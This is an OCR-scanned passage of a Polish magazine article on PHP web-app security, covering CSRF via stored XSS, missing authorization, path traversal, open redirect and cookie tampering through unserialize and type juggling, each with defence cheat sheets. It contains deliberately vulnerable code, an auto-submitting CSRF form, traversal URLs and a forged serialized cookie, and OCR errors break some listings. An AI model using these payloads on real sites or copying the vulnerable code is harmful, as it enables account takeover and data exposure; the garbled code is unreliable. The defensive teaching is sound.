odwiedza strone wiadomosci.tld, w ktdrg przy pomocy ataku stored XSS
wstrzyknieto ztosliwy kod, od ktérego bedzie wychodzit atak.

W kodzie zrodtowym strony gtéwnej serwisu wiadomosci.tld umie-
szczona jest niewidoczna dla uzytkownika ramka iframe:

<iframe src="zuo.php" style="display: none;"></iframe>

W $ciezce /zuo.php znajduje sie natomiast kod dokonujacy ataku.
Listing 11. Ztosliwy kod wykonywany w ramce

<form action="http://samochody.tld/artykul.php" method="POST">
<input type="hidden" name="text" id="f_text">

</form>

<script>

var comment = 'Nie dos$¢ Zze XSS, to i CSRF!';

document.getElementById('f_text').value = comment;

document.forms[0].submit();

</script>

W celu dodania komentarza na stronie samochody.tld wystarczy tyl-
ko wykona¢ odpowiednie zapytanie POST zawierajace jedyny wymagany
argument - tres¢ dodawanego komentarza. Ciasteczka sesyjne potrzebne
do identyfikacji uzytkownika zostang automatycznie wigczone do zapytania
przez przegladarke, pomimo pochodzenia z innej domeny zapytanie jest w
petni poprawne.

[CWE-285] NIEWYSTARCZAJACA
AUTORYZACJA

Czasami powodem wycieku danych lub wtamania moze okazac¢ sie nad
wyraz prozaiczny problem - niewystarczajgca kontrola uprawnien uzytkow-
nika podczas préby podjecia danej akcji. Do potencjalnie niebezpiecznych
akcji mozna zaliczy¢:

- akcje powodujace udostepnienie do odczytu danych, do ktérych uzyt-
kownik nie jest uprawniony
- akcje umozliwiajace uzytkownikowi niepowotana modyfikacje danych
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PROGRAMOWANIE APLIKACJI WEBOWYCH

Zabezpieczenie aplikaciji przed CSRF - sciagawka

Gtéwny wzorzec ochrony przed CSRF

Ogdlnie przyjeta i dosy¢ uniwersalng metodq zabezpieczenia aplikacji
jest uzycie losowo wygenerowanego tokenu. Powinien on zostac wygene-
rowany w sposob nieprzewidywalny dla uzytkownika. Uwaga na generato-
ry pseudolosowe seedowane wyfgcznie aktualnym czasem, niekiedy moze
on zostac oszacowany z wystarczajgco duzg precyzja.

Token CSRF powinien by¢ czescig stanu sesji uzytkownika. Oprocz
tego, powinien tez zosta¢ umieszczony w ukrytym polu formularza lub w
jego adresie docelowym. Podczas obstugi wystanego formularza nalezy
zwyczajnie porownac wartosci z obu zrodet i zaakceptowac zapytanie tyl-
ko jesli sg one zgodne.

Kluczowe jest uwzglednienie sytuacji, kiedy token nie zostat wcale
wygenerowany, gdyz wykonano wytacznie bezposrednie zapytanie wysy-
tajgce formularz. W tym wypadku nalezy bezwzglednie odmowic przetwo-
rzenia zapytania. Jeden token nie powinien byc¢ réwniez zdatny do uzycia
wiecej niz raz.

Listing 12. Przyktadowa implementacja tokenu CSRF w formu-
larzu

<?php
session_start();
// obstuga wystania formularza
if (isset($_POST['imie'])) {
if (lisset($_SESSION['csrf'])) {
exit 'Brak tokenu CSRF!';

}

if ($_SESSION['csrf'] !== $_POST['csrf']) {
exit 'Token CSRF nie pasuje!’;

}

// ten token nie moze juz zostac uzyty
$_SESSION['csrf'] = null;

// poprawnie przetworzono formularz
echo 'Teraz mamy pewnos$¢, nazywasz sie
echo htmlentities($ POST['imie']) . '.';

LI
>

}

// generowanie nowego tokenu z wykorzystaniem

// bezpiecznego Zrédita losowosci

$csrf = shal(mcrypt_create_iv(32));
$_SESSION['csrf'] = $csrf;

?>

<form action="" method="POST">

<input type="hidden" name="csrf" value="<?=$csrf ?>">
Jak sie nazywasz: <input type="text" name="imie">
<input type="submit" value="Dalej">

</form>

Zdecydowanie nie zadziata:

> Weryfikacja nagtowka Referer. Przegladarka nie ma obowigzku go
wysytad, zaawansowani uzytkownicy moga posiadac wtyczki ukrywaja-
ce ten nagtowek lub fatszujgce jego wartos¢. Nagtowek ten moze byc
rowniez filtrowany przez systemy zabezpieczen w sieciach firmowych.

» Transakcja wymagajaca wielu krokdw do jej ukonczenia. Jezeli kazdy
kolejny krok jest mozliwy do przewidzenia bez brania pod uwage od-
powiedzi serwera, to jedynie utrudni to przeprowadzenie ataku.

» Umieszczenie tokenu w ciasteczku. Wszystkie ciasteczka przynalezne
do konkretnej domeny zostana dotaczone do zapytania automatycz-
nie. Nie jest to prawidtowy sposdéb ochrony przed CSRF.

» Nieprzemyslanaimplementacja mechanizmu zabezpieczajacego. Cat-
kowicie poprawny proces generowania klucza, przypisanie go do sesji
i umieszczenie w formularzu nie przyniesie zadnego efektu, jesli klucz
nie zostanie w odpowiedni sposob zweryfikowany. Z tego wzgledu na-
lezy doktadnie testowac kazde takie rozwigzanie.

Niezabezpieczony zasob statyczny

Mozliwos¢ uzyskania nieuprawnionego dostepu do zasoboéw statycz-

nych aplikacji jest wynikiem btednej konfiguracji serwera i niekiedy btedow
projektowych.

Dodatkowa wada konfiguracji serwera moze by¢ wiaczone listowanie

katalogow w folderach nie posiadajacych pliku index. Istnieje oprogramo-

wanie automatycznie sprawdzajace, czy najpopularniejsze sciezki nie kryja

jakichs$ niepoprawnie chronionych zasobdw.
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»Gtebokie ukrycie”

Podatnos¢ CWE-285 od 2010 roku posiada w Polsce swojg zargonowa
nazwe. Jego powstanie zwigzane jest z wyciekiem danych ponad tysigca
firm z banku PKO BP.

Do uzyskania dostepu do pliku, bedgcego swego rodzaju zestawieniem
wystarczyto znac¢ odpowiedni adres URL prowadzacy do serwerow banku.
W niewyjasnionych okolicznosciach plik ten zostat zindeksowany przez
Google. Jakis czas pozniej odnalazt go jeden z internautow.

Po wybuchu afery rzecznik banku przyznat:

.Ten plik zostat zabezpieczony w tak zwanym gtebokim ukryciu, jak to
mowig informatycy.”

Tajemnicze okreslenie szybko zaczeto funkcjonowaé¢ w formie
przesmiewczej wsrod audytorow bezpieczenstwa.

Niepoprawna weryfikacja dostepu w skrypcie

Analogicznie jak w przypadku zasoboéw statycznych, moze wystapic sytu-
acja, kiedy skrypt generujacy zawartos¢ dynamiczng posiada niepoprawnie
skonfigurowane mechanizmy kontroli dostepu lub nie posiada ich wcale.

Odpowiednia weryfikacja dostepu jest pomijana w szczegdlnosci:

+ w modutfach niewidocznych dla zwyczajnych uzytkownikéw, np. na jed-
nej z podstron panelu stuzacego do zarzadzania serwisem,

- woperacjach wieloetapowych, np. kiedy poziom uprawnien uzytkownika
sprawdzany jest wylacznie podczas generowania dla niego formularza,
lecz programista zapomina o powtorzeniu tej czynnosci podczas jego
przetwarzania.

Prawidtowy projekt kontroli dostepu - sciagawka

Zasada #1: Polityka ,,default deny”

Bezpieczniej jest udzieli¢ uzytkownikowi zbyt mato uprawnien, niz
zbyt duzo. Prawidtowo zaprojektowany mechanizm kontroli dostepu po-
winien postugiwac sie polityka ,default deny”, czyli,,domyslnie odmawiaj"”.
Podejscie to polega na stworzeniu listy akcji, do ktérych uzytkownik po-
winien mie¢ dostep i bezwzglednym blokowaniu wszystkich innych akcji.

Zasada #2: Pojedyncze uprawnienia pogrupowane w role uzytkownikow

Pojedyncze uprawnienia dostepu powinny by¢ zgrupowane w konkret-
ne role, ktére bedg mogty zosta¢ przydzielone uzytkownikom. Wptywa to
na przejrzystosc i prostote utrzymania listy kontroli dostepu.

Zasada #3: Wysoce konfigurowalny mechanizm kontroli

Zdecydowanie nalezy unika¢ tworzenia wyjatkdw w implementacji
mechanizmoéw kontroli dostepu. Wszelkie nietypowe funkcjonalnosci mu-
szg zostac przewidziane wczesniej i stanowic integralng czes¢ konfiguracji.

[CWE-22] PATH TRAVERSAL

Celem tego typu ataku jest uzyskanie dostepu do katalogéw i plikéw po-
tozonych poza publicznie dostepna czescia struktury webaplikacji. Dokonuje
sie tego poprzez manipulacje parametréw odwotujacych sie do plikéw fizycz-
nych znajdujacych sie na serwerze.

Listing 13. Aplikacja podatna na path traversal (przypadek naiwny)

<?php

$page = 'main.php';
if (isset($_GET['page'])) {

$page = $_GET['page’];
}
require( 'header.php');
require('includes/'.$_GET['page']);
require('footer.php');

Zakfadajac, ze konfiguracja aplikacji znajduje sie w chronionej $ciezce con-
fig/main.xml, a prawidtowy URL podstrony przyjmuje nastepujaca postac:

http://strona.tld/?page=czekolada.php
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PROGRAMOWANIE APLIKACJI WEBOWYCH

Mozliwe jest zmuszenie aplikacji do wypisania zawartosci niedostepne-

go pliku konfiguracyjnego, poprzez spreparowanie adresu w nastepujacy
sposoéb:

http://strona.tld/?page=../config/main.xml

Poniewaz cigg . ./oznacza odwotanie do katalogu wyzszego poziomu,

mozliwa jest,ucieczka”z folderu includes oraz przejscie do dowolnego kata-

logu znajdujacego sie na serwerze.

Dotgczanie zabezpieczonych akcji

Jesli aplikacja wykazujaca tego typu podatnosé udostepnia akcje wyma-

gajace dodatkowych uprawnien, np. panel administracyjny, wykorzystanie

podatnosci przez hakera moze umozliwi¢ mu petne lub czesciowe ominiecie

autoryzacji.

Zatézmy, ze w chronionej $ciezce admin/article.php znajduje sie

interfejs umozliwiajacy edycje artykutéw zgromadzonych w bazie danych.

Bezposrednie odwotanie do tej lokalizacji przez uzytkownika nie bedacego

administratorem nie jest mozliwe ze wzgledu na ustawienia serwera. Po-

nownie, spreparowanie parametru ,page” umozliwi atakujagcemu ominiecie

zabezpieczen.

Rekurencyjne dotgczanie skryptu

Wart rozwazenia jest jeszcze inny przypadek szczegdlny. Niekiedy wyko-

rzystujac path traversal napastnik moze zmusi¢ aplikacje, aby rekurencyjnie

dofaczata ten sam skrypt.

Tego typu atak mozna czesciowo sklasyfikowac jako Denial of Service,

wprowadzenie programu w nieskornczong rekurencje moze spowodowac

crash interpretera lub zuzy¢ catg dostepna pamiec.

Przyktad:

http://strona.tld/?page=../index.php

Uniemozliwienie atakow path traversal - sciggawka

Normalizuj $ciezke przed jej uzyciem

Podczas oceny, czy parametr odwotuje sie do prawidtowej lokalizacji,
pomocna bedzie funkcja realpath, ktéra rozwigzuje Sciezke relatywna
do postaci sciezki absolutne;j.

Weryfikacja moze zostac¢ wykonana w ten sposob:

Listing 14. Przyktadowa implementacja funkcji sprawdzajacej,
czy dana $ciezka absolutna zawiera sie w $ciezce bazowej

function isPathLegal($base, $path) {

$realBase = realpath($base);

$realBase .= DIRECTORY_SEPARATOR;
$realPath = realpath($realBase . $path);
$condl ($realBase !== false);

// realPath starts with realBase
$cond2 (strpos($realPath, $realBase)
return $condl && $cond2;

=== 0);

}

var_dump(isPathLegal('/var/www"',
var_dump(isPathLegal('/var/www"',

‘test.php')); // true
'../index.php')); // false

[CWE-601] OPEN REDIRECT

Podatnos¢ ta jest znacznie mniej skomplikowana, niz opisywane wczesniej.
W praktyce stanowi mozliwos¢ zmuszenia serwera aplikacji, aby po podjeciu

jakiejs akcji przez uzytkownika zostat on przekierowany do niezaufanej strony.

Cate zamieszanie moze zosta¢ wykorzystane na przyktad do przepro-

wadzenia phishingu na uzytkownikach niezabezpieczonej strony. Mniej za-

awansowani uzytkownicy Internetu swoja decyzje na temat zaufania dane;j
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stronie moga podjac wytacznie na podstawie zgadzajacego sie (tylko poczat-
kowo) adresu URL.

Za przykfad niech postuzy fikcyjny serwis ankieterzy.tld. Serwis ten
oferuje integracje polegajaca na mozliwosci przekierowania uzytkownika z
innej strony do ankiety.

Po wypetieniu ankiety uzytkownik jest automatycznie powracany do
serwisu, z ktérego wczesniej korzystat. Powrotny adres URL jest ustalany na
podstawie parametru redirect”:

Listing 15. Fragment przyktadowego systemu ankietowego, podat-
nego na open redirect

<?php
if (isset($_POST['submit'])) {
// ... kod przetwarzajacy ...
// ... wystanie formularza ...

header('Location: ' . $_GET['redirect']);

exit();
}
?><form action="" method="POST">
Imie: <input type="text" name="imie">
<!-- roéznorodne pola ankiety -->
<input type="submit" name="submit" value="Wy$1lij">
</form>

Niech serwisem korzystajacym z tej syndykacji bedzie samochody.t1d.
Link do serwisu ankietowego jest konstruowany w nastepujacy sposob:

http://ankieterzy.tld/?redirect=http://samochody.tld/
dziekujemy.php

Adres powrotny przekierowania jest bardzo wyraznie widoczny. Czyn-
nosciami, jakie wykonatby typowy atakujacy w tym wypadku bytoby za-
rejestrowanie bardzo podobnie brzmiacej domeny, np. samoohody.t1ld,
spreparowanie adresu URL i przeprowadzanie na uzytkownikach atakéw
socjotechnicznych.

Jak upilnowac¢ swoich przekierowan - sciagawka

Opcja #1: Wcale nie eksponowac adresu URL

Jesli konieczne jest stosowanie przekierowan, adres docelowy nie po-
winien by¢ bezposrednio eksponowany dla uzytkownika. W przypadku
kiedy znajduje sie on wewnatrz URLa, dobrze jest rozwazy¢ zastgpienie go
jakims unikalnym identyfikatorem:

Przyktad: http://serwer.tld/?redir_id=5

Opcja #2: Podpisac¢ argument za pomocg HMAC

Tam, gdzie pierwsze rozwigzanie bedzie problematyczne, mozna za-
bezpieczy¢ argument przed modyfikacjg za pomoca tokenu HMAC. Bi-
blioteka standardowa PHP oferuje do tego celu funkcje hash_hmac. Po
podjeciu akcji przez uzytkownika token powinien zosta¢ zweryfikowany.
| jesli jest niezgodny — zadanie nalezy zablokowac.

Przyktad:

http://serwer.tld/?key=f4a957(. . . )@be7&redir=http://foo.tld/

Opcja #3: Doktadnie walidowac poprawnos¢ wszystkich zmiennych
sktadnikéw adresu docelowego

Sposob najbardziej karkotomny w implementacji. Gdy docelowy adres
nie moze zosta¢ zamieniony na unikalny identyfikator lub podpisany, ko-
nieczne bedzie zastosowanie biblioteki bezpiecznie budujacej URL, albo
reczne analizowanie dokumentow RFC.

Przyktad: http://serwer.tld/?redir=http://foo.tld/

Pomimo sporzadzenia biatej listy i poréwnywania z nig adreséw doce-
lowych, zbyt szeroki jej zakres moze umozliwi¢ dokonywanie atakow CSRF
w aplikacji znajdujacej sie pod adresem docelowym.

Niektore popularne przegladarki domysinie ukrywaja query string (pa-
rametry GET znajdujgce sie w URLu, poprzedzane znakiem ‘?’), co moze
utatwi¢ przeprowadzenie niezauwazonego ataku, polegajgcego na spre-
parowaniu adresu docelowego.



O BEZPIECZENSTWIE APLIKACJI INTERNETOWYCH W PHP

[CWE-642] ZEWNETRZNA KONTROLA
KRYTYCZNYCH SKEADOWYCH STANU

Ostatnim typem podatnosci, ktéry zostanie opisany w tym artykule, jest
CWE-642. Jest to kolejna wariacja luki w zabezpieczeniach umozliwiajacej om-
iniecie autoryzacji. Wystepuje ona, jesli po stronie uzytkownika przechowy-
wane sa dane, ktérych nieautoryzowana zmiana nie zostanie wykryta przez
aplikacje. Jednoczesnie, umozliwi to uzytkownikowi dostep do zasobdw, do
ktorych nie posiada on uprawnien.

Postugujac sie przyktadem: zatézmy, ze pewien serwis oferuje uzytkow-
nikom opcje "zapamietania ich’, dzieki czemu nie jest konieczne ponowne
logowanie w kazdej nowej sesji. Efekt ten jest osiagniety poprzez nadanie
uzytkownikom ciasteczek o nazwie “autologin’, ktére zawieraja unikalny iden-
tyfikator uzytkownika “user” oraz losowo generowany klucz uwierzytelniajacy
przechowywany w bazie danych.

Funkcja getTokenFromDB($user), dla danego uzytkownika:

-« zwraca zapisany w bazie danych klucz uwierzytelniajacy, jesli uzytkownik
posiada wiaczone autologowanie,
- zwracaNULL jesli uzytkownik nie posiada wigczonego autologowania.

Pozniej token pobrany z bazy danych jest poréwnywany z tokenem po-
chodzacym z ciasteczka w nastepujacy sposob:

Listing 16. Przyktad mechanizmu automatycznego logowania po-
datnego na ominiecie autoryzacji

if (isset($_COOKIE['autologin'])) {
$x = unserialize($_COOKIE[ 'autologin']);
if ($x['key'] == getTokenFromDB($x['user'])) {
echo 'Witamy ponownie, ' . htmlentities($x['user']);
} else {
echo 'Nieprawidtowy klucz autologowania!’;
}
}

Jako ze w ciasteczku “autologin” przechowywany jest obiekt serializowany
za pomocg funkgji serialize, do jego odkodowania w powyzszym przykta-
dzie uzyta zostata odpowiadajaca jej funkcja unserialize.

Istotnym jest fakt, ze tego typu serializacja przechowuje konkretne infor-
macje na temat typéw zakodowanych wartosci, rozrézniajac poszczegéine
typy skalarne oraz klasy. Wtasciwosc ta daje spore pole do naduzyc.

Tablica przechowywana we wzorcowym ciasteczku dla powyzszego, przy-
ktadowego skryptu powinna (dla uzytkownika o numerze 123) mie¢ naste-

pujaca postac:

a:2:{s:4:"user";i:123;s:3:"key";s:32:"5c04(...)221f";}

Co jednak moze sie wydarzy¢, jesli napastnik spreparuje ciasteczko w taki
sposob?

a:2:{s:4:"user";i:123;s:3:"key";b:1;}

Do indeksu “key” przypisany jest teraz bool(true). Zgodnie z zataczo-
nym listingiem w autoryzacji uzytkownika decydujace bedzie poréwnanie:

if (true == string).Operator equals (podwdjny znak réwnosci) powo-
duje wykorzystanie mechanizmu type juggling w celu poréwnania wartosci

Michat Leszczynski

Freelancer z wieloletnim doswiadczeniem w dziedzinie aplikacji webowych.
Administrator systemow serwerowych na platformach UNIX-owych.

dwéch réznych typdw. Zgodnie z zasada jego dziatania, string po prawej
stronie zostanie skonwertowany na false, jesli jest pusty, lub na true w kaz-
dym innym przypadku. Taka modyfikacja pozwoli wiec atakujgcemu zalogo-
wac sie na dowolne konto, do ktérego przydzielony jest token.

Dla odmiany w przypadku braku tokenu, funkcja getTokenFromDB()
zwroci NULL. Wystarczy wtedy analogiczna modyfikacja ciasteczka, lecz ze
zmiang wartosci klucza na bool(false). Porownanie NULL == false po-
wiedzie sie przez wczesniej wspominany mechanizm.

Ochrona przed CWE-642 - sciagawka

Zasada #1: Uzywaj doktadnych poréwnan wszedzie, gdzie to mozliwe
W PHP istniejg dwie grupy operatoréw poréwnan [1]:

» stwierdzajgce rownosc lub nieréwnosc (==, !'=, >, >=, <, <=), wykorzy-
stujg one type juggling [2],
» stwierdzajgce identycznos¢ (===, !==), ktore zawsze zwrocag false

w przypadku réznigcych sie typow porownywanych wartosci.

Podczas tworzenia mechanizmoéw zwigzanych z bezpieczenstwem na-
lezy zwrdcic na to szczegdlng uwage, tam gdzie to mozliwe poréownywac
wartosci pochodzgce z niepewnych zrédet za pomoca operatorow z dru-
giej grupy.

Zasada #2: Uwazaj na serializacje PHP

Przechowywanie serializowanych obiektow po stronie uzytkowni-
ka jest szczegolnie niebezpieczne. W okreslonych przypadkach mozliwe
jest dokonanie takiej modyfikacji obiektu, aby zaburzona zostata logika
zwigzana z mechanizmami bezpieczenstwa, jednoczesnie nie powodujac
btedow krytycznych aplikacji. Bezpieczniejsze jest kodowanie w formacie
JSON (json_encode, json_decode) lub przechowywanie obiektéw na
serwerze, wewnatrz sesji uzytkownika. Przy pomocy standardowej seriali-
zacji PHP mozliwe jest stworzenie obiektu dowolnej klasy, ktérego meto-
dy __wakeUp oraz __destruct zostana pozniej wywotane.

Zasada #3: Podpisuj dane przechowywane po stronie uzytkownika

Tam gdzie jest to mozliwe, krytyczne dane przechowywane po stro-
nie uzytkownika powinny zostac podpisane, np. za pomoca funkcji hash_
hmac. Kazdorazowa weryfikacja podpisu uniemozliwi napastnikowi mody-
fikacje danych wystawionych przez serwer.

W sieci

» http://cwe.mitre.org/ - Common Weakness Enumeration

» https://www.owasp.org/ — Otwarty projekt zabezpieczania webapli-
kacji

»  http://www.backtrack-linux.org/ — Dystrybucja Linuxa przygotowana
do przeprowadzania testow penetracyjnych

» https://code.google.com/p/browsersec/ — Browser Security Handbook

» [1] http://php.net/manual/en/language.operators.comparison.php
» [2] http://php.net/manual/en/language.types.type-juggling.php

Bazy danych zbierajace informacje o podatnosciach:
» http://cve.mitre.org/
» http://www.securityfocus.com/bid
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